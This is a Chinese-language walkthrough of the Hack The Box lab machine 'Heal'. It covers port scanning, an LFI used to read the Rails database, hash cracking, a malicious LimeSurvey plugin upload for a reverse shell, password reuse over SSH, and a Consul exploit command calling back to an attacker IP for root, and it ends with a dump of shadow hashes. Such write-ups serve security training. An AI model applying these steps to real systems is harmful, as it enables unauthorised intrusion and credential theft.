基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV -Pn 10.10.11.46
Starting Nmap 7.95 ( https://nmap.org ) at 2024-12-19 10:42 CST
Nmap scan report for 10.10.11.46
Host is up (0.079s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://heal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.23 seconds

80

需要加hosts:

1
10.10.11.46 heal.htb

在线简历相关的:

api

尝试注册会向api发出请求,同样加入hosts后继续

1
api.heal.htb

访问api首页可以看到使用ruby rails:

survey

survey中可以得到另一个子域名

1
take-survey.heal.htb

回到首页,可以看到一个邮箱地址,以及使用的LimeSurvey

LimeSurvey

LimeSurvey默认登录页面,但现在还缺少认证信息:

API LFI

回到主站,导出简历功能,filename参数,很明显的LFI:

前面也知道api使用的rails,所以去读取rails相关文件:

得到数据库文件路径,继续获取数据库:

database

数据库中得到hash。破解出密码:

1
2
3
4
5
6
7
sqlite> select * from users;

ralph@heal.htb $2a$12$dUZ/O7KJT3.zE4TOK8p4RuxH3t.Bz45DSr7A94VLvY9SWx1GCSZnG

sudo hashcat -m 3200 hash.txt ~/Tools/dict/rockyou.txt

147258369

LimeSurvey

得到的账号密码可以登录LimeSurvey,看到版本6.6.4:

CVE-2021-44967

搜索可以找到相关漏洞:

修改config加入6.0版本,修改php文件中的ip和端口,压缩zip,上传激活插件,访问触发shell,得到www-data:

然后常规配置文件中得到一个密码:

1
2
3
www-data@heal:~/limesurvey/application/config$ cat config.php

'connectionString' => 'pgsql:host=localhost;port=5432;user=db_user;password=AdmiDi0_pA$$w0rd;dbname=survey;',

user flag

得到的数据库密码就是ron用户密码,ssh登录:

1
2
ssh ron@10.10.11.46
AdmiDi0_pA$$w0rd

Consul

常规枚举发现一些本地端口,转发出来查看,其中8500是Consul 1.19.2:

1
ssh ron@10.10.11.46 -L 8500:127.0.0.1:8500

搜索到相关漏洞:

提权 & root flag

Consul exp打到root,最后的token参数随意即可:

1
python3 51117.py 127.0.0.1 8500 10.10.14.7 4445 miao

shadow

1
2
3
root:$y$j9T$PXt5gUmlNdTkrYBWtWJ.g0$KMKlRSr0.BNG0zhjcDIKvNsPkce/xbEtF22T1w/xKR8:19993:0:99999:7:::
ralph:$y$j9T$4Dy9HV2pcNjs/CJXRU9x11$Irhr1vraxuLfMbmhd1FmK5oq37WeIfwbMSTYu7Ud5U2:20066:0:99999:7:::
ron:$y$j9T$haKqSIafpebVZoB765rgf/$cC27DCE3e2WKdbe7Srsgy7CoFjTgtbwREp4olnJyKa3:20066:0:99999:7:::

参考资料